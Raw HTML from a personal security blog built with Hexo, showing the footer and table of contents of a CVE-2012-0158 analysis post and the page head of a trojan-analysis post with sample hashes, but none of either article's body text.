<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">CVE-2012-0158</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%B8%80%E3%80%81%E6%BC%8F%E6%B4%9E%E4%BF%A1%E6%81%AF"><span class="nav-text">一、漏洞信息</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#1-%E6%BC%8F%E6%B4%9E%E7%AE%80%E8%BF%B0"><span class="nav-text">1. 漏洞简述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#2-%E7%BB%84%E4%BB%B6%E6%A6%82%E8%BF%B0"><span class="nav-text">2. 组件概述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#3-%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D"><span class="nav-text">3. 漏洞影响</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%BA%8C%E3%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83"><span class="nav-text">二、调试环境</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#1-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA"><span class="nav-text">1. 环境搭建</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E4%B8%89%E3%80%81%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90"><span class="nav-text">三、漏洞分析</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#1-%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF"><span class="nav-text">1. 基本信息</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#2-%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90"><span class="nav-text">2. 详细分析</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D"><span class="nav-text">漏洞修复</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%80%BB%E7%BB%93"><span class="nav-text">总结</span></a></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/19/CVE-2012-0158/index.html | HTML | unknown | 40,229 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/19/mm木马分析/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="0x00 样本信息 文件名称:mm.exe MD5:37eec1a29d316ed1e5e766b599dc32a1 SHA-1:75f098d6b3f217aba4c068b12896c332216fc6b3 Authentihash:1b17d4d13c65fed36321aec54f2dc9b214308bbc82821659f83e445b93d1962e Imphash:9e93">
<meta property="og:type" content="article">
<meta property="og:title" content="mm木马分析">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="0x00 样本信息 文件名称:mm.exe MD5:37eec1a29d316ed1e5e766b599dc32a1 SHA-1:75f098d6b3f217aba4c068b12896c332216fc6b3 Authentihash:1b17d4d13c65fed36321aec54f2dc9b214308bbc82821659f83e445b93d1962e Imphash:9e93">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/2a7657a1-f313-4339-b512-25abeedcfa49.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/4ca75e30-8c86-4c5b-bd34-cb2f14dc6141.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/a56aedae-5d39-4f94-aa96-85aea9b4845e.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/69c17b1a-6286-4084-8eba-8972c864a46b.jpg">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/eb5c6dd9-047e-4051-a943-8ab22e04b67c.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/4be8d70e-a2e1-4293-abff-0a7d3cead6b2.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7f924d59-6b11-42db-89a5-bd28b27c2c11.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/77342a06-06a3-4be1-a320-24a82ceb0909.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/11a167b0-ed7c-47f2-b1c3-acc3d3e3ef4b.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/42be8870-593a-42b8-ba6d-b83b7d0e3222.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/3a9b6fbc-31ec-47f8-a2ef-d3d363126935.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/1644551f-cd75-454c-8dfc-b71daa2b286f.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/e910eeb7-d807-45a7-8717-3ddaddcb8c24.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/29dec3b4-f38f-4110-8154-3472cd46d753.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/e6c03d16-0f6f-460a-a0bd-656833c19116.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/d2330a96-8bef-454f-8387-937c59e23ca3.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/08bdbc7b-b3e2-425e-9877-d0b4162c5e4b.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/088ce841-2af5-474a-afff-33533291d0b6.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/e9328e0f-eb70-47e2-aa78-6f0efb7efbe3.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/c4ba2cbf-d131-48a0-8ff5-79ef23e33bcc.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/8b729e66-cc45-4a6d-a2d2-5e687462bee3.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/173a226d-f97b-40a2-92d3-88e2af7ef0f7.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/fc2b7683-2209-48a7-a8b1-2226a79e5913.jpg">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/d9520cf3-5d89-4ce6-adab-79d88e4d588e.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/eca5c4da-2678-4e8e-918e-49fa0555ba41.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/fc5045d2-e39a-4d8b-808b-25a7144af06d.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/8232d7de-931f-4147-97c4-dd8c4a913e6c.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/78173e8a-9fa4-4017-9855-d19f4b99bd0d.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/ac302c10-9626-47d8-849c-3b94eab358f8.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/f4843a5b-8ac6-4295-8f01-ac80a9dad61a.jpg">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/6fa79227-ef3d-4542-8feb-b6bc03f30ca0.jpg">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/136657ca-203c-4278-aba7-5d2b7b59a255.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/081776c2-e2a8-426e-bd11-c45a1c4dc4a3.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/4fcd1911-47dd-4991-9037-d70846fa5471.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/f0473f82-6fe3-468a-9281-e1dc3311b417.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/54214749-d668-4903-b37d-b537668addf9.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/b490ece7-6e2f-48bf-abdc-0fc8810214d1.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/44343cf0-d018-4672-8dfd-19ed54eae2f3.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/f5cdbaf8-2be5-427b-9428-a76e3c41a381.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/a1c7b25b-9da8-4888-8490-753e0c90a015.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/0353dc7e-2674-42a3-a2a9-c8bd5e7bc90d.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/cfc90d64-144f-44fa-a50d-808a0c4b5837.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/d734b48a-841c-4e25-beab-2f6ca8a4b52e.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/c4e6e22c-3dd1-47d1-a9cf-43052e98a2a6.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/6f5fd45a-363e-4df5-b1f4-3648d7cf9c2d.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7d9066f5-f2c5-4658-9fa7-6ac4fe329338.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/a7724282-bb62-4ef3-9f6d-6e63f457abf8.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/b698e5c1-6f09-4b47-8407-e471d9b5480c.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/3d13441a-5579-43f1-8a26-4684d8bf8d80.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7748befd-1afa-4b0e-974c-0ddeef1c3ff9.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/b54dd262-dda2-456c-bf40-215c38a61bb4.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/7351ddef-f311-4373-9b72-7f647430ebf5.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/23527c1f-1da8-403d-8a8f-f48344771b2f.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/115b22d5-047d-47ad-94a2-56f0a216595a.png">
<meta property="article:published_time" content="2021-05-19T14:54:26.000Z">
<meta property="article:modified_time" content="2022-11-14T14:15:30.667Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="windows木马">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/2a7657a1-f313-4339-b512-25abeedcfa49.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
mm木马分析 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">mm木马分析</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
